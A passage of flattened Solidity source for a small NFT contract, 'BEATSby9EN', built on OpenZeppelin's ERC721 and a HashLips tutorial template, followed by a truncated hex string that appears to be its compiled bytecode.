override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: contracts/LowGas.sol // Amended by HashLips /** !Disclaimer! These contracts have been used to create tutorials, and was created for the purpose to teach people how to create smart contracts on the blockchain. please review this code on your own before using any of the following code for production. The developer will not be responsible or liable for all loss or damage whatsoever caused by you participating in any way in the experimental code, whether putting money into the contract or using the code for your own project. */ pragma solidity >=0.7.0 <0.9.0; contract BEATSby9EN is ERC721, Ownable { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private supply; string public uriPrefix = ""; string public uriSuffix = ".json"; string public hiddenMetadataUri; uint256 public cost = 0.001 ether; uint256 public maxSupply = 4; uint256 public maxMintAmountPerTx = 1; bool public paused = true; bool public revealed = false; constructor() ERC721("BEATSby9EN", "BB9") { setHiddenMetadataUri("ipfs://QmTrncBGzTQ5abTkPppW7FZe8Qq2Ee4mp9XaVErrxpvmrN/1.json"); } modifier mintCompliance(uint256 _mintAmount) { require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!"); require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!"); _; } function totalSupply() public view returns (uint256) { return supply.current(); } function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) { require(!paused, "The contract is paused!"); require(msg.value >= cost * _mintAmount, "Insufficient funds!"); _mintLoop(msg.sender, _mintAmount); } function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner { _mintLoop(_receiver, _mintAmount); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return hiddenMetadataUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix)) : ""; } function setRevealed(bool _state) public onlyOwner { revealed = _state; } function setCost(uint256 _cost) public onlyOwner { cost = _cost; } function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner { maxMintAmountPerTx = _maxMintAmountPerTx; } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { hiddenMetadataUri = _hiddenMetadataUri; } function setUriPrefix(string memory _uriPrefix) public onlyOwner { uriPrefix = _uriPrefix; } function setUriSuffix(string memory _uriSuffix) public onlyOwner { uriSuffix = _uriSuffix; } function setPaused(bool _state) public onlyOwner { paused = _state; } function withdraw() public onlyOwner { // This will transfer the remaining contract balance to the owner. // Do not remove this otherwise you will not be able to withdraw the funds. // ============================================================================= (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); // ============================================================================= } function _mintLoop(address _receiver, uint256 _mintAmount) internal { for (uint256 i = 0; i < _mintAmount; i++) { supply.increment(); _safeMint(_receiver, supply.current()); } } function _baseURI() internal view virtual override returns (string memory) { return uriPrefix; } }
0x60806040526004361061020f5760003560e01c80636352211e11610118578063a45ba8e7116100a0578063d5abeb011161006f578063d5abeb0114610768578063e0a8085314610793578063e985e9c5146107bc578063efbd73f4146107f9578063f2fde38b146108225761020f565b8063a45ba8e7146106ae578063b071401b146106d9578063b88d4fde14610702578063c87b56dd1461072b5761020f565b80638da5cb5b116100e75780638da5cb5b146105e857806394354fd01461061357806395d89b411461063e578063a0712d6814610669578063a22cb465146106855761020f565b80636352211e1461052e57806370a082311461056b578063715018a6146105a85780637ec4a659146105bf5761020f565b80633ccfd60b1161019b5780634fdd43cb1161016a5780634fdd43cb1461045957806351830227146104825780635503a0e8146104ad5780635c975abb146104d857806362b99ad4146105035761020f565b80633ccfd60b146103b357806342842e0e146103ca578063438b6300146103f357806344a0d68a146104305761020f565b806313faede6116101e257806313faede6146102e257806316ba10e01461030d57806316c38b3c1461033657806318160ddd1461035f57806323b872dd1461038a5761020f565b806301ffc9a71461021457806306fdde0314610251578063081812fc1461027c578063095ea7b3146102b9575b600080fd5b34801561022057600080fd5b5061023b60048036038101906102369190612e25565b61084b565b60405161024891906134b7565b60405180910390f35b34801561025d57600080fd5b5061026661092d565b60405161027391906134d2565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612ec8565b6109bf565b6040516102b0919061342e565b60405180910390f35b3480156102c557600080fd5b506102e060048036038101906102db9190612db8565b610a44565b005b3480156102ee57600080fd5b506102f7610b5c565b6040516103049190613774565b60405180910390f35b34801561031957600080fd5b50610334600480360381019061032f9190612e7f565b610b62565b005b34801561034257600080fd5b5061035d60048036038101906103589190612df8565b610bf8565b005b34801561036b57600080fd5b50610374610c91565b6040516103819190613774565b60405180910390f35b34801561039657600080fd5b506103b160048036038101906103ac9190612ca2565b610ca2565b005b3480156103bf57600080fd5b506103c8610d02565b005b3480156103d657600080fd5b506103f160048036038101906103ec9190612ca2565b610dfe565b005b3480156103ff57600080fd5b5061041a60048036038101906104159190612c35565b610e1e565b6040516104279190613495565b60405180910390f35b34801561043c57600080fd5b5061045760048036038101906104529190612ec8565b610f29565b005b34801561046557600080fd5b50610480600480360381019061047b9190612e7f565b610faf565b005b34801561048e57600080fd5b50610497611045565b6040516104a491906134b7565b60405180910390f35b3480156104b957600080fd5b506104c2611058565b6040516104cf91906134d2565b60405180910390f35b3480156104e457600080fd5b506104ed6110e6565b6040516104fa91906134b7565b60405180910390f35b34801561050f57600080fd5b506105186110f9565b60405161052591906134d2565b60405180910390f35b34801561053a57600080fd5b5061055560048036038101906105509190612ec8565b611187565b604051610562919061342e565b60405180910390f35b34801561057757600080fd5b50610592600480360381019061058d9190612c35565b611239565b60405161059f9190613774565b60405180910390f35b3480156105b457600080fd5b506105bd6112f1565b005b3480156105cb57600080fd5b506105e660048036038101906105e19190612e7f565b611379565b005b3480156105f457600080fd5b506105fd61140f565b60405161060a919061342e565b60405180910390f35b34801561061f57600080fd5b50610628611439565b6040516106359190613774565b60405180910390f35b34801561064a57600080fd5b5061065361143f565b60405161066091906134d2565b60405180910390f35b610683600480360381019061067e9190612ec8565b6114d1565b005b34801561069157600080fd5b506106ac60048036038101906106a79190612d78565b61162a565b005b3480156106ba57600080fd5b506106c3611640565b6040516106d091906134d2565b60405180910390f35b3480156106e557600080fd5b5061070060048036038101906106fb9190612ec8565b6116ce565b005b34801561070e57600080fd5b5061072960048036038101906107249190612cf5565b611754565b005b34801561073757600080fd5b50610752600480360381019061074d9190612ec8565b6117b6565b60405161075f91906134d2565b60405180910390f35b34801561077457600080fd5b5061077d61190f565b60405161078a9190613774565b60405180910390f35b34801561079f57600080fd5b506107ba60048036038101906107b59190612df8565b611915565b005b3480156107c857600080fd5b506107e360048036038101906107de9190612c62565b6119ae565b6040516107f091906134b7565b60405180910390f35b34801561080557600080fd5b50610820600480360381019061081b9190612ef5565b611a42565b005b34801561082e57600080fd5b5061084960048036038101906108449190612c35565b611b78565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061091657507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610926575061092582611c70565b5b9050919050565b60606000805461093c90613a7d565b80601f016020809104026020016040519081016040528092919081815260200182805461096890613a7d565b80156109b55780601f1061098a576101008083540402835291602001916109b5565b820191906000526020600020905b81548152906001019060200180831161099857829003601f168201915b5050505050905090565b60006109ca82611cda565b610a09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0090613674565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610a4f82611187565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ac0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab7906136f4565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610adf611d46565b73ffffffffffffffffffffffffffffffffffffffff161480610b0e5750610b0d81610b08611d46565b6119ae565b5b610b4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b44906135f4565b60405180910390fd5b610b578383611d4e565b505050565b600b5481565b610b6a611d46565b73ffffffffffffffffffffffffffffffffffffffff16610b8861140f565b73ffffffffffffffffffffffffffffffffffffffff1614610bde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd590613694565b60405180910390fd5b8060099080519060200190610bf4929190612a49565b5050565b610c00611d46565b73ffffffffffffffffffffffffffffffffffffffff16610c1e61140f565b73ffffffffffffffffffffffffffffffffffffffff1614610c74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6b90613694565b60405180910390fd5b80600e60006101000a81548160ff02191690831515021790555050565b6000610c9d6007611e07565b905090565b610cb3610cad611d46565b82611e15565b610cf2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce990613734565b60405180910390fd5b610cfd838383611ef3565b505050565b610d0a611d46565b73ffffffffffffffffffffffffffffffffffffffff16610d2861140f565b73ffffffffffffffffffffffffffffffffffffffff1614610d7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7590613694565b60405180910390fd5b6000610d8861140f565b73ffffffffffffffffffffffffffffffffffffffff1647604051610dab90613419565b60006040518083038185875af1925050503d8060008114610de8576040519150601f19603f3d011682016040523d82523d6000602084013e610ded565b606091505b5050905080610dfb57600080fd5b50565b610e1983838360405180602001604052806000815250611754565b505050565b60606000610e2b83611239565b905060008167ffffffffffffffff811115610e4957610e48613c16565b5b604051908082528060200260200182016040528015610e775781602001602082028036833780820191505090505b50905060006001905060005b8381108015610e945750600c548211155b15610f1d576000610ea483611187565b90508673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f095782848381518110610eee57610eed613be7565b5b6020026020010181815250508180610f0590613ae0565b9250505b8280610f1490613ae0565b93505050610e83565b82945050505050919050565b610f31611d46565b73ffffffffffffffffffffffffffffffffffffffff16610f4f61140f565b73ffffffffffffffffffffffffffffffffffffffff1614610fa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9c90613694565b60405180910390fd5b80600b8190555050565b610fb7611d46565b73ffffffffffffffffffffffffffffffffffffffff16610fd561140f565b73ffffffffffffffffffffffffffffffffffffffff161461102b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102290613694565b60405180910390fd5b80600a9080519060200190611041929190612a49565b5050565b600e60019054906101000a900460ff1681565b6009805461106590613a7d565b80601f016020809104026020016040519081016040528092919081815260200182805461109190613a7d565b80156110de5780601f106110b3576101008083540402835291602001916110de565b820191906000526020600020905b8154815290600101906020018083116110c157829003601f168201915b505050505081565b600e60009054906101000a900460ff1681565b6008805461110690613a7d565b80601f016020809104026020016040519081016040528092919081815260200182805461113290613a7d565b801561117f5780601f106111545761010080835404028352916020019161117f565b820191906000526020600020905b81548152906001019060200180831161116257829003601f168201915b505050505081565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611230576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122790613634565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a190613614565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112f9611d46565b73ffffffffffffffffffffffffffffffffffffffff1661131761140f565b73ffffffffffffffffffffffffffffffffffffffff161461136d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136490613694565b60405180910390fd5b611377600061215a565b565b611381611d46565b73ffffffffffffffffffffffffffffffffffffffff1661139f61140f565b73ffffffffffffffffffffffffffffffffffffffff16146113f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ec90613694565b60405180910390fd5b806008908051906020019061140b929190612a49565b5050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d5481565b60606001805461144e90613a7d565b80601f016020809104026020016040519081016040528092919081815260200182805461147a90613a7d565b80156114c75780601f1061149c576101008083540402835291602001916114c7565b820191906000526020600020905b8154815290600101906020018083116114aa57829003601f168201915b5050505050905090565b806000811180156114e45750600d548111155b611523576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151a90613574565b60405180910390fd5b600c54816115316007611e07565b61153b91906138b2565b111561157c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157390613714565b60405180910390fd5b600e60009054906101000a900460ff16156115cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c3906136b4565b60405180910390fd5b81600b546115da9190613939565b34101561161c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161390613754565b60405180910390fd5b6116263383612220565b5050565b61163c611635611d46565b8383612260565b5050565b600a805461164d90613a7d565b80601f016020809104026020016040519081016040528092919081815260200182805461167990613a7d565b80156116c65780601f1061169b576101008083540402835291602001916116c6565b820191906000526020600020905b8154815290600101906020018083116116a957829003601f168201915b505050505081565b6116d6611d46565b73ffffffffffffffffffffffffffffffffffffffff166116f461140f565b73ffffffffffffffffffffffffffffffffffffffff161461174a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174190613694565b60405180910390fd5b80600d8190555050565b61176561175f611d46565b83611e15565b6117a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179b90613734565b60405180910390fd5b6117b0848484846123cd565b50505050565b60606117c182611cda565b611800576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f7906136d4565b60405180910390fd5b60001515600e60019054906101000a900460ff16151514156118ae57600a805461182990613a7d565b80601f016020809104026020016040519081016040528092919081815260200182805461185590613a7d565b80156118a25780601f10611877576101008083540402835291602001916118a2565b820191906000526020600020905b81548152906001019060200180831161188557829003601f168201915b5050505050905061190a565b60006118b8612429565b905060008151116118d85760405180602001604052806000815250611906565b806118e2846124bb565b60096040516020016118f6939291906133e8565b6040516020818303038152906040525b9150505b919050565b600c5481565b61191d611d46565b73ffffffffffffffffffffffffffffffffffffffff1661193b61140f565b73ffffffffffffffffffffffffffffffffffffffff1614611991576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198890613694565b60405180910390fd5b80600e60016101000a81548160ff02191690831515021790555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b81600081118015611a555750600d548111155b611a94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8b90613574565b60405180910390fd5b600c5481611aa26007611e07565b611aac91906138b2565b1115611aed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae490613714565b60405180910390fd5b611af5611d46565b73ffffffffffffffffffffffffffffffffffffffff16611b1361140f565b73ffffffffffffffffffffffffffffffffffffffff1614611b69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6090613694565b60405180910390fd5b611b738284612220565b505050565b611b80611d46565b73ffffffffffffffffffffffffffffffffffffffff16611b9e61140f565b73ffffffffffffffffffffffffffffffffffffffff1614611bf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611beb90613694565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5b90613514565b60405180910390fd5b611c6d8161215a565b50565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611dc183611187565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600081600001549050919050565b6000611e2082611cda565b611e5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e56906135d4565b60405180910390fd5b6000611e6a83611187565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611ed957508373ffffffffffffffffffffffffffffffffffffffff16611ec1846109bf565b73ffffffffffffffffffffffffffffffffffffffff16145b80611eea5750611ee981856119ae565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611f1382611187565b73ffffffffffffffffffffffffffffffffffffffff1614611f69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6090613534565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611fd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd090613594565b60405180910390fd5b611fe483838361261c565b611fef600082611d4e565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461203f9190613993565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461209691906138b2565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4612155838383612621565b505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60005b8181101561225b576122356007612626565b612248836122436007611e07565b61263c565b808061225390613ae0565b915050612223565b505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156122cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122c6906135b4565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516123c091906134b7565b60405180910390a3505050565b6123d8848484611ef3565b6123e48484848461265a565b612423576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161241a906134f4565b60405180910390fd5b50505050565b60606008805461243890613a7d565b80601f016020809104026020016040519081016040528092919081815260200182805461246490613a7d565b80156124b15780601f10612486576101008083540402835291602001916124b1565b820191906000526020600020905b81548152906001019060200180831161249457829003601f168201915b5050505050905090565b60606000821415612503576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612617565b600082905060005b6000821461253557808061251e90613ae0565b915050600a8261252e9190613908565b915061250b565b60008167ffffffffffffffff81111561255157612550613c16565b5b6040519080825280601f01601f1916602001820160405280156125835781602001600182028036833780820191505090505b5090505b600085146126105760018261259c9190613993565b9150600a856125ab9190613b29565b60306125b791906138b2565b60f81b8183815181106125cd576125cc613be7565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856126099190613908565b9450612587565b8093505050505b919050565b505050565b505050565b6001816000016000828254019250508190555050565b6126568282604051806020016040528060008152506127f1565b5050565b600061267b8473ffffffffffffffffffffffffffffffffffffffff1661284c565b156127e4578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026126a4611d46565b8786866040518563ffffffff1660e01b81526004016126c69493929190613449565b602060405180830381600087803b1580156126e057600080fd5b505af192505050801561271157506040513d601f19601f8201168201806040525081019061270e9190612e52565b60015b612794573d8060008114612741576040519150601f19603f3d011682016040523d82523d6000602084013e612746565b606091505b5060008151141561278c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612783906134f4565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149150506127e9565b600190505b949350505050565b6127fb838361286f565b612808600084848461265a565b612847576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161283e906134f4565b6040518